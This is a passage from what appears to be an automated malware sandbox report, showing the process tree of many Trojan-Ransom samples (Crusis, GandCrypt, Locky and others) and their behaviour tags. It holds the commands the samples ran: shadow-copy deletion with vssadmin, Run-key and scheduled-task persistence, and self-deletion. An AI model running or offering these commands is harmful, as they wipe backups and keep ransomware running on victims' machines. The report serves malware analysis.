                              PID:2788
                      • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.lvzt-9bc75c69ead3c8ae7297911c3603cecc3f3d3c739cd5ebb60b111af1939c6952.exe
                        Trojan-Ransom.Win32.Blocker.lvzt-9bc75c69ead3c8ae7297911c3603cecc3f3d3c739cd5ebb60b111af1939c6952.exe
                        4⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1064
                        • C:\Windows\SysWOW64\explorer.exe
                          explorer.exe Trojan-Ransom.bmp
                          5⤵
                          • System Location Discovery: System Language Discovery
                          PID:4248
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c airzvp.bat > nul
                          5⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:3596
                          • C:\Windows\SysWOW64\reg.exe
                            reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v svechosts /t REG_SZ /d C:\Users\Admin\AppData\Roaming\svechosts.exe /f
                            6⤵
                            • Adds Run key to start application
                            • System Location Discovery: System Language Discovery
                            PID:1664
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /CREATE /SC Minute /MO 1 /TR C:\Users\Admin\AppData\Roaming\svechosts.exe /TN svechosts /F
                            6⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:2812
                      • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.lyiu-985b67a88f7fc9935704c7c18ecb4a7d077fb02c658a9d3fcfec9439776564d5.exe
                        Trojan-Ransom.Win32.Blocker.lyiu-985b67a88f7fc9935704c7c18ecb4a7d077fb02c658a9d3fcfec9439776564d5.exe
                        4⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:2516
                        • C:\Users\Admin\AppData\Roaming\AdobeART.exe
                          "C:\Users\Admin\AppData\Roaming\AdobeART.exe"
                          5⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          PID:1448
                      • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.mvrm-4138c885d1abbe86b0a700b1ff8489932b25c3fb3feaed4bb60f269d80ef22d4.exe
                        Trojan-Ransom.Win32.Blocker.mvrm-4138c885d1abbe86b0a700b1ff8489932b25c3fb3feaed4bb60f269d80ef22d4.exe
                        4⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:4444
                        • C:\Users\Admin\AppData\Local\Temp\hack.exe
                          "C:\Users\Admin\AppData\Local\Temp\hack.exe"
                          5⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:3200
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\key1.bat" "
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:1332
                            • C:\Users\Admin\AppData\Local\Temp\key7.exe
                              key7.exe -p3215295617s -dC:\Users\Admin\AppData\Local\Temp
                              7⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:1900
                              • C:\Users\Admin\AppData\Local\Temp\key6.exe
                                "C:\Users\Admin\AppData\Local\Temp\key6.exe"
                                8⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:6348
                                • C:\Users\Admin\AppData\Local\Temp\key6.exe
                                  "C:\Users\Admin\AppData\Local\Temp\key6.exe"
                                  9⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:7120
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Windows Explorer.exe""
                                    10⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2944
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Windows Explorer.exe"
                                      11⤵
                                      • System Location Discovery: System Language Discovery
                                      • Modifies registry key
                                      PID:5176
                      • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crusis.dqg-79b8c026d2e90a16b4a585f38be231828bc9d52255948d4a7d9248bb25e882d1.exe
                        Trojan-Ransom.Win32.Crusis.dqg-79b8c026d2e90a16b4a585f38be231828bc9d52255948d4a7d9248bb25e882d1.exe
                        4⤵
                        • Executes dropped EXE
                        PID:2852
                        • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crusis.dqg-79b8c026d2e90a16b4a585f38be231828bc9d52255948d4a7d9248bb25e882d1.exe
                          C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crusis.dqg-79b8c026d2e90a16b4a585f38be231828bc9d52255948d4a7d9248bb25e882d1.exe
                          5⤵
                            PID:9168
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe"
                              6⤵
                                PID:5604
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  7⤵
                                    PID:7776
                                  • C:\Windows\system32\mode.com
                                    mode con cp select=1251
                                    7⤵
                                      PID:5336
                                    • C:\Windows\system32\vssadmin.exe
                                      vssadmin delete shadows /all /quiet
                                      7⤵
                                      • Interacts with shadow copies
                                      PID:6236
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe"
                                    6⤵
                                      PID:9552
                                      • C:\Windows\system32\mode.com
                                        mode con cp select=1251
                                        7⤵
                                          PID:8216
                                        • C:\Windows\system32\vssadmin.exe
                                          vssadmin delete shadows /all /quiet
                                          7⤵
                                          • Interacts with shadow copies
                                          PID:8468
                                  • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crypmod.accd-7a6ac2d2173048ec95dc9bbc5d07a5465f823cfc6118718c98bcb1b1fcb7df1b.exe
                                    Trojan-Ransom.Win32.Crypmod.accd-7a6ac2d2173048ec95dc9bbc5d07a5465f823cfc6118718c98bcb1b1fcb7df1b.exe
                                    4⤵
                                    • Checks computer location settings
                                    • Drops startup file
                                    • Executes dropped EXE
                                    • Enumerates connected drives
                                    • Sets desktop wallpaper using registry
                                    • Drops file in Program Files directory
                                    • System Location Discovery: System Language Discovery
                                    • Checks processor information in registry
                                    PID:4068
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2628
                                  • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crypmodadv.xso-dfa08f135298af057fe9c99cae3377fdea1d01992ab385b6d1362cac37cb37fb.exe
                                    Trojan-Ransom.Win32.Crypmodadv.xso-dfa08f135298af057fe9c99cae3377fdea1d01992ab385b6d1362cac37cb37fb.exe
                                    4⤵
                                    • Executes dropped EXE
                                    PID:4020
                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crypmodadv.xso-dfa08f135298af057fe9c99cae3377fdea1d01992ab385b6d1362cac37cb37fb.exe
                                      Trojan-Ransom.Win32.Crypmodadv.xso-dfa08f135298af057fe9c99cae3377fdea1d01992ab385b6d1362cac37cb37fb.exe
                                      5⤵
                                      • Drops file in Drivers directory
                                      • Drops startup file
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Drops file in System32 directory
                                      • Drops file in Program Files directory
                                      • Drops file in Windows directory
                                      • System Location Discovery: System Language Discovery
                                      PID:100
                                  • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.DoppelPaymer.bf-9d2ef7b5f84ee093e0e010add38917032d45008533472c6744c16c072f266f48.exe
                                    Trojan-Ransom.Win32.DoppelPaymer.bf-9d2ef7b5f84ee093e0e010add38917032d45008533472c6744c16c072f266f48.exe
                                    4⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    PID:1136
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1136 -s 444
                                      5⤵
                                      • Program crash
                                      PID:5796
                                  • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.oftl-85a577c129c5ee7b40f871113fe6f7886d12bfa6d82f6b343cb0ec5d077dccf6.exe
                                    Trojan-Ransom.Win32.Foreign.oftl-85a577c129c5ee7b40f871113fe6f7886d12bfa6d82f6b343cb0ec5d077dccf6.exe
                                    4⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    • Suspicious use of SetThreadContext
                                    • System Location Discovery: System Language Discovery
                                    PID:3920
                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.oftl-85a577c129c5ee7b40f871113fe6f7886d12bfa6d82f6b343cb0ec5d077dccf6.exe
                                      C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.oftl-85a577c129c5ee7b40f871113fe6f7886d12bfa6d82f6b343cb0ec5d077dccf6.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:6376
                                      • C:\Users\Admin\AppData\Roaming\rundll32.exe
                                        "rundll32.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:5536
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k
                                          7⤵
                                            PID:2360
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5536 -s 652
                                            7⤵
                                            • Program crash
                                            PID:7496
                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.ogrt-265f042465660e355ac24f236997230a0c0adc35cb240844a6fd6650d457da3b.exe
                                      Trojan-Ransom.Win32.Foreign.ogrt-265f042465660e355ac24f236997230a0c0adc35cb240844a6fd6650d457da3b.exe
                                      4⤵
                                      • Executes dropped EXE
                                      • Enumerates connected drives
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      PID:2860
                                      • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.ogrt-265f042465660e355ac24f236997230a0c0adc35cb240844a6fd6650d457da3b.exe
                                        C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.ogrt-265f042465660e355ac24f236997230a0c0adc35cb240844a6fd6650d457da3b.exe
                                        5⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        PID:9180
                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.olpr-302fecaf77de168224abccd8a610dda5699e0d16ea5fa4577de83fad2f22433a.exe
                                      Trojan-Ransom.Win32.Foreign.olpr-302fecaf77de168224abccd8a610dda5699e0d16ea5fa4577de83fad2f22433a.exe
                                      4⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2432
                                      • C:\Users\Admin\AppData\Roaming\Microsoft\AVShieldPro.exe
                                        "C:\Users\Admin\AppData\Roaming\Microsoft\AVShieldPro.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:6044
                                        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                          6⤵
                                            PID:5152
                                            • C:\Windows\SysWOW64\explorer.exe
                                              explorer.exe
                                              7⤵
                                                PID:2984
                                              • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
                                                7⤵
                                                • System Location Discovery: System Language Discovery
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5148
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5148 -s 936
                                                  8⤵
                                                  • Program crash
                                                  PID:5696
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5148 -s 1032
                                                  8⤵
                                                  • Program crash
                                                  PID:6908
                                          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                            C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                            5⤵
                                              PID:3616
                                              • C:\Windows\SysWOW64\explorer.exe
                                                explorer.exe
                                                6⤵
                                                  PID:4260
                                                • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
                                                  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
                                                  6⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:5276
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 936
                                                    7⤵
                                                    • Program crash
                                                    PID:5672
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 1044
                                                    7⤵
                                                    • Program crash
                                                    PID:6164
                                            • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.GandCrypt.iym-0a4980f402f1ad859dd8499d9ee196cc61947b2f9a2207d3a81bcec7636c158a.exe
                                              Trojan-Ransom.Win32.GandCrypt.iym-0a4980f402f1ad859dd8499d9ee196cc61947b2f9a2207d3a81bcec7636c158a.exe
                                              4⤵
                                              • Checks computer location settings
                                              • Executes dropped EXE
                                              • Enumerates connected drives
                                              • System Location Discovery: System Language Discovery
                                              • Checks processor information in registry
                                              PID:216
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c timeout -c 5 & del "C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.GandCrypt.iym-0a4980f402f1ad859dd8499d9ee196cc61947b2f9a2207d3a81bcec7636c158a.exe" /f /q
                                                5⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:1712
                                                • C:\Windows\SysWOW64\timeout.exe
                                                  timeout -c 5
                                                  6⤵
                                                  • Delays execution with timeout.exe
                                                  PID:7776
                                            • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Gen.nuu-6f43ca24b77d4c7a1732d7a182f122fde61ec5316382c36eb0bc53baa97f6a79.exe
                                              Trojan-Ransom.Win32.Gen.nuu-6f43ca24b77d4c7a1732d7a182f122fde61ec5316382c36eb0bc53baa97f6a79.exe
                                              4⤵
                                              • Checks computer location settings
                                              • Executes dropped EXE
                                              • Enumerates connected drives
                                              • System Location Discovery: System Language Discovery
                                              • Checks processor information in registry
                                              PID:2296
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c timeout -c 5 & del "C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Gen.nuu-6f43ca24b77d4c7a1732d7a182f122fde61ec5316382c36eb0bc53baa97f6a79.exe" /f /q
                                                5⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:3056
                                                • C:\Windows\SysWOW64\timeout.exe
                                                  timeout -c 5
                                                  6⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Delays execution with timeout.exe
                                                  PID:7252
                                            • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Gimemo.cdqu-92c167bd5ce56b5e2798056e3f3129b43f019ba3370ac5a88894126b94cae16d.exe
                                              Trojan-Ransom.Win32.Gimemo.cdqu-92c167bd5ce56b5e2798056e3f3129b43f019ba3370ac5a88894126b94cae16d.exe
                                              4⤵
                                              • Modifies WinLogon for persistence
                                              • Executes dropped EXE
                                              • Adds Run key to start application
                                              • System Location Discovery: System Language Discovery
                                              PID:1080
                                            • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Hades.c-08a62815eabccc8dbc7babe0dfabcae9cb37a20f66373ca0bb7254c7e6c6f1bb.exe
                                              Trojan-Ransom.Win32.Hades.c-08a62815eabccc8dbc7babe0dfabcae9cb37a20f66373ca0bb7254c7e6c6f1bb.exe
                                              4⤵
                                              • Executes dropped EXE
                                              PID:1764
                                              • C:\Users\Admin\AppData\Roaming\FuzzyDfs\Studio
                                                C:\Users\Admin\AppData\Roaming\FuzzyDfs\Studio /go
                                                5⤵
                                                • Executes dropped EXE
                                                PID:5068
                                                • C:\Windows\SYSTEM32\cmd.exe
                                                  cmd /c waitfor /t 10 pause /d y & attrib -h "C:\Users\Admin\AppData\Roaming\FuzzyDfs\Studio" & del "C:\Users\Admin\AppData\Roaming\FuzzyDfs\Studio" & rd "C:\Users\Admin\AppData\Roaming\FuzzyDfs\"
                                                  6⤵
                                                    PID:3200
                                                    • C:\Windows\system32\waitfor.exe
                                                      waitfor /t 10 pause /d y
                                                      7⤵
                                                        PID:9016
                                                      • C:\Windows\system32\attrib.exe
                                                        attrib -h "C:\Users\Admin\AppData\Roaming\FuzzyDfs\Studio"
                                                        7⤵
                                                        • Views/modifies file attributes
                                                        PID:3028
                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                    cmd /c waitfor /t 10 pause /d y & attrib -h "C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Hades.c-08a62815eabccc8dbc7babe0dfabcae9cb37a20f66373ca0bb7254c7e6c6f1bb.exe" & del "C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Hades.c-08a62815eabccc8dbc7babe0dfabcae9cb37a20f66373ca0bb7254c7e6c6f1bb.exe" & rd "C:\Users\Admin\Desktop\00424\"
                                                    5⤵
                                                      PID:2384
                                                      • C:\Windows\system32\waitfor.exe
                                                        waitfor /t 10 pause /d y
                                                        6⤵
                                                          PID:8372
                                                        • C:\Windows\system32\attrib.exe
                                                          attrib -h "C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Hades.c-08a62815eabccc8dbc7babe0dfabcae9cb37a20f66373ca0bb7254c7e6c6f1bb.exe"
                                                          6⤵
                                                          • Views/modifies file attributes
                                                          PID:8484
                                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Locky.adiq-a11caa15d682952f356c75249b803496c532ec358094b97e7daee6a17a4210e8.exe
                                                      Trojan-Ransom.Win32.Locky.adiq-a11caa15d682952f356c75249b803496c532ec358094b97e7daee6a17a4210e8.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Enumerates system info in registry
                                                      PID:372
                                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.PornoBlocker.ejtx-724dc1a3bd703a339b5b71136baad19a35f97d1b7c6e94d7fefd4f324dcb5bf3.exe
                                                      Trojan-Ransom.Win32.PornoBlocker.ejtx-724dc1a3bd703a339b5b71136baad19a35f97d1b7c6e94d7fefd4f324dcb5bf3.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2128
                                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Shade.psr-4d2b8abe7b2d79eb3cd44171a73a645d2d2370d64e51734208b7ef261b8e21ce.exe
                                                      Trojan-Ransom.Win32.Shade.psr-4d2b8abe7b2d79eb3cd44171a73a645d2d2370d64e51734208b7ef261b8e21ce.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4344
                                                    • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Shade.pvw-04c4e2ad0699cc27f79c0b4f62a12ce8514aea55e5737628de293d81846cf7c5.exe
                                                      Trojan-Ransom.Win32.Shade.pvw-04c4e2ad0699cc27f79c0b4f62a12ce8514aea55e5737628de293d81846cf7c5.exe
                                                      4⤵
                                                      • Executes dropped EXE
                                                      • Adds Run key to start application
                                                      PID:5544
                                                    • C:\Users\Admin\Desktop\00424\UDS-Trojan-Ransom.Win32.Generic-391cfcd153881743556f76de7bbca5b19857f8b69a6f6f6dfde6fd9b06c17f5e.exe
                                                      UDS-Trojan-Ransom.Win32.Generic-391cfcd153881743556f76de7bbca5b19857f8b69a6f6f6dfde6fd9b06c17f5e.exe
                                                      4⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      • Enumerates connected drives
                                                      • System Location Discovery: System Language Discovery
                                                      PID:6104
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
                                                        5⤵
                                                          PID:6952
                                                          • C:\Windows\system32\vssadmin.exe
                                                            vssadmin.exe delete shadows /all /quiet
                                                            6⤵
                                                            • Interacts with shadow copies
                                                            PID:2224
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet
                                                          5⤵
                                                            PID:2288
                                                            • C:\Windows\system32\vssadmin.exe
                                                              vssadmin.exe delete shadows /all /quiet
                                                              6⤵
                                                              • Interacts with shadow copies
                                                              PID:6216
                                                        • C:\Users\Admin\Desktop\00424\UDS-Trojan-Ransom.Win32.PornoAsset.gen-bd78f4c233a67d83272ea92de4c5afff1a73dfea2abbb4489e54f0f5cfb6d9ac.exe
                                                          UDS-Trojan-Ransom.Win32.PornoAsset.gen-bd78f4c233a67d83272ea92de4c5afff1a73dfea2abbb4489e54f0f5cfb6d9ac.exe
                                                          4⤵
                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                          • Executes dropped EXE
                                                          • Identifies Wine through registry keys
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:8248
                                                        • C:\Users\Admin\Desktop\00424\UDS-Trojan-Ransom.Win32.Zerber.gen-c44b300c0e95a6782b39bda041a3ddf1a03190e99c9785384657f3dd332e42eb.exe
                                                          UDS-Trojan-Ransom.Win32.Zerber.gen-c44b300c0e95a6782b39bda041a3ddf1a03190e99c9785384657f3dd332e42eb.exe
                                                          4⤵
                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                          • Checks BIOS information in registry
                                                          • Executes dropped EXE
                                                          • Identifies Wine through registry keys
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • System Location Discovery: System Language Discovery
                                                          PID:6232
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6232 -s 1184
                                                            5⤵
                                                            • Program crash
                                                            PID:6188
                                                        • C:\Users\Admin\Desktop\00424\VHO-Trojan-Ransom.Win32.Blocker.gen-296a2e629991f1fa388bda5e674dd6471e8f84787137fb17a7567d143ea24376.exe
                                                          VHO-Trojan-Ransom.Win32.Blocker.gen-296a2e629991f1fa388bda5e674dd6471e8f84787137fb17a7567d143ea24376.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • Accesses Microsoft Outlook profiles
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          • Suspicious use of SetWindowsHookEx
                                                          • outlook_office_path
                                                          • outlook_win_path
                                                          PID:5656
                                                        • C:\Users\Admin\Desktop\00424\VHO-Trojan-Ransom.Win32.Convagent.gen-ceb44492510d44d5bc712a41e1f4da9f5e222647b7a0f9a55db5c8cfcf024f59.exe
                                                          VHO-Trojan-Ransom.Win32.Convagent.gen-ceb44492510d44d5bc712a41e1f4da9f5e222647b7a0f9a55db5c8cfcf024f59.exe
                                                          4⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:6764
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
                                                    1⤵
                                                      PID:4548
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv
                                                      1⤵
                                                        PID:5224
                                                      • C:\Windows\ditziw.exe
                                                        C:\Windows\ditziw.exe
                                                        1⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Drops file in System32 directory
                                                        PID:5728
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1136 -ip 1136
                                                        1⤵
                                                          PID:6016
                                                        • C:\Windows\explorer.exe
                                                          explorer.exe
                                                          1⤵
                                                            PID:5508
                                                          • C:\Windows\SysWOW64\werfault.exe
                                                            werfault.exe /h /shared Global\0325edc963f2448cbc163425adc7667f /t 3272 /p 1080
                                                            1⤵
                                                              PID:6388
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 5536 -ip 5536
                                                              1⤵
                                                                PID:6680
                                                              • C:\Windows\ditziw.exe
                                                                C:\Windows\ditziw.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • Drops file in System32 directory
                                                                • System Location Discovery: System Language Discovery
                                                                PID:6620
                                                              • C:\Windows\system32\werfault.exe
                                                                werfault.exe /h /shared Global\f9231c2229c54e7db7ffa5456c196bb3 /t 1572 /p 2184
                                                                1⤵
                                                                  PID:556
                                                                • C:\Windows\ditziw.exe
                                                                  C:\Windows\ditziw.exe
                                                                  1⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Drops file in System32 directory
                                                                  PID:6848
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 6232 -ip 6232
                                                                  1⤵
                                                                    PID:4104
                                                                  • C:\Windows\system32\vssvc.exe
                                                                    C:\Windows\system32\vssvc.exe
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:8212
                                                                  • C:\Windows\ditziw.exe
                                                                    C:\Windows\ditziw.exe
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Drops file in System32 directory
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:7780
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5276 -ip 5276
                                                                    1⤵
                                                                      PID:5272
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 5148 -ip 5148
                                                                      1⤵
                                                                        PID:5432
                                                                      • C:\Windows\ditziw.exe
                                                                        C:\Windows\ditziw.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        • Drops file in System32 directory
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5644
                                                                      • C:\Windows\ditziw.exe
                                                                        C:\Windows\ditziw.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        • Drops file in System32 directory
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:5832
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 5276 -ip 5276
                                                                        1⤵
                                                                          PID:6536
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 5148 -ip 5148
                                                                          1⤵
                                                                            PID:6564
                                                                          • C:\Windows\ditziw.exe
                                                                            C:\Windows\ditziw.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Drops file in System32 directory
                                                                            • Checks processor information in registry
                                                                            PID:6804
                                                                          • C:\Windows\ditziw.exe
                                                                            C:\Windows\ditziw.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Drops file in System32 directory
                                                                            PID:8384
                                                                          • C:\Windows\ditziw.exe
                                                                            C:\Windows\ditziw.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Drops file in System32 directory
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Checks processor information in registry
                                                                            PID:7840
                                                                          • C:\Windows\ditziw.exe
                                                                            C:\Windows\ditziw.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Drops file in System32 directory
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:1968
                                                                          • C:\Windows\ditziw.exe
                                                                            C:\Windows\ditziw.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:8508
                                                                          • C:\Windows\ditziw.exe
                                                                            C:\Windows\ditziw.exe
                                                                            1⤵
                                                                              PID:7760
                                                                            • C:\Windows\ditziw.exe
                                                                              C:\Windows\ditziw.exe
                                                                              1⤵
                                                                                PID:8340
                                                                              • C:\Windows\ditziw.exe
                                                                                C:\Windows\ditziw.exe
                                                                                1⤵
                                                                                  PID:6104
                                                                                • C:\Windows\ditziw.exe
                                                                                  C:\Windows\ditziw.exe
                                                                                  1⤵
                                                                                    PID:3440
                                                                                  • C:\Windows\ditziw.exe
                                                                                    C:\Windows\ditziw.exe
                                                                                    1⤵
                                                                                      PID:5880
                                                                                    • C:\Windows\ditziw.exe
                                                                                      C:\Windows\ditziw.exe
                                                                                      1⤵
                                                                                        PID:3136
